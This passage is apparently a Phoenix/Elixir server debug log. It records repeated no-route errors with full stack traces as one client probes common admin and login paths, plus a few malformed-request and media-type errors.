    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:26:24.707000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.7ms queue=1.0ms idle=879.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 08:26:33.688000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57162] GET /kylin/api/admin/version
[Thu Sep  3 08:26:33.705000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:57162] ** (Phoenix.Router.NoRouteError) no route found for GET /kylin/api/admin/version (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:26:43.858000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53266] GET /translations/en.json
[Thu Sep  3 08:26:43.882000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53266] ** (Phoenix.Router.NoRouteError) no route found for GET /translations/en.json (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:26:53.131000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53278] GET /
[Thu Sep  3 08:26:53.131000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:53278] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:26:53.132000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53278] Sent 200 in 864µs
[Thu Sep  3 08:26:53.139000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) Content length unknown error: "invalid content-length header (RFC9112§6.3.5)"
[Thu Sep  3 08:26:53.918000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33688] GET /
[Thu Sep  3 08:26:53.919000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:33688] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:26:53.919000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33688] Sent 200 in 960µs
[Thu Sep  3 08:27:01.342000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33700] GET /unified-console.html
[Thu Sep  3 08:27:01.365000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33700] ** (Phoenix.Router.NoRouteError) no route found for GET /unified-console.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:27:13.025000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45538] GET /login/
[Thu Sep  3 08:27:13.045000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45538] ** (Phoenix.Router.NoRouteError) no route found for GET /login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:27:13.700000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45554] GET /admin/airflow/login
[Thu Sep  3 08:27:13.723000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45554] ** (Phoenix.Router.NoRouteError) no route found for GET /admin/airflow/login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:27:22.355000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45556] GET /
[Thu Sep  3 08:27:22.355000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:45556] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:27:22.364000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45556] Sent 406 in 9ms
[Thu Sep  3 08:27:22.366000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45556] ** (Phoenix.NotAcceptableError) no supported media type in accept header.

Expected one of ["html"] but got the following formats:

  * 

To accept custom formats, register them under the :mime library
in your config/config.exs file:

    config :mime, :types, %{
      "application/xml" => ["xml"]
    }

And then run `mix deps.clean --build mime` to force it to be recompiled.

    (phoenix 1.7.19) lib/phoenix/controller.ex:1606: Phoenix.Controller.refuse/3
    (da_product_app 0.1.0) DaProductAppWeb.Router.browser/2
    (da_product_app 0.1.0) lib/da_product_app_web/router.ex:1: DaProductAppWeb.Router.__pipe_through0__/1
    (phoenix 1.7.19) lib/phoenix/router.ex:475: Phoenix.Router.__call__/5
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:27:23.782000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52746] GET /api/v1/
[Thu Sep  3 08:27:23.797000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52746] ** (Phoenix.Router.NoRouteError) no route found for GET /api/v1 (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:27:26.150000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52750] GET /api/v1/
[Thu Sep  3 08:27:26.165000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52750] ** (Phoenix.Router.NoRouteError) no route found for GET /api/v1 (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:27:28.158000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52760] GET /
[Thu Sep  3 08:27:28.158000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:52760] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:27:28.159000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52760] Sent 200 in 856µs
[Thu Sep  3 08:27:32.475000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52764] GET /
[Thu Sep  3 08:27:32.476000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:52764] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:27:32.476000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52764] Sent 200 in 1ms
[Thu Sep  3 08:27:35.079000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58458] GET //
[Thu Sep  3 08:27:35.079000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:58458] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:27:35.079000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58458] Sent 200 in 817µs
[Thu Sep  3 08:27:42.178000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58462] GET /libs/granite/core/content/login.html
[Thu Sep  3 08:27:42.199000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:58462] ** (Phoenix.Router.NoRouteError) no route found for GET /libs/granite/core/content/login.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:27:46.014000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55582] GET /system/login
[Thu Sep  3 08:27:46.049000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55582] ** (Phoenix.Router.NoRouteError) no route found for GET /system/login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:27:49.027000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55592] GET /system/login
[Thu Sep  3 08:27:49.059000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55592] ** (Phoenix.Router.NoRouteError) no route found for GET /system/login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:27:51.403000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) Unsupported request target (RFC9112§3.2)
[Thu Sep  3 08:27:54.743000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:44148] GET /courier/web/1000@/wmLogin.html
[Thu Sep  3 08:27:54.771000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:44148] ** (Phoenix.Router.NoRouteError) no route found for GET /courier/web/1000@/wmLogin.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:27:59.199000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:44158] GET /
[Thu Sep  3 08:27:59.199000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:44158] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:27:59.200000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:44158] Sent 200 in 817µs
[Thu Sep  3 08:27:59.656000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:44164] GET /servlet/admin
[Thu Sep  3 08:27:59.668000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:44164] ** (Phoenix.Router.NoRouteError) no route found for GET /servlet/admin (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:28:11.085000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60204] GET /qwe/qwe/index.html
[Thu Sep  3 08:28:11.105000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60204] ** (Phoenix.Router.NoRouteError) no route found for GET /qwe/qwe/index.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
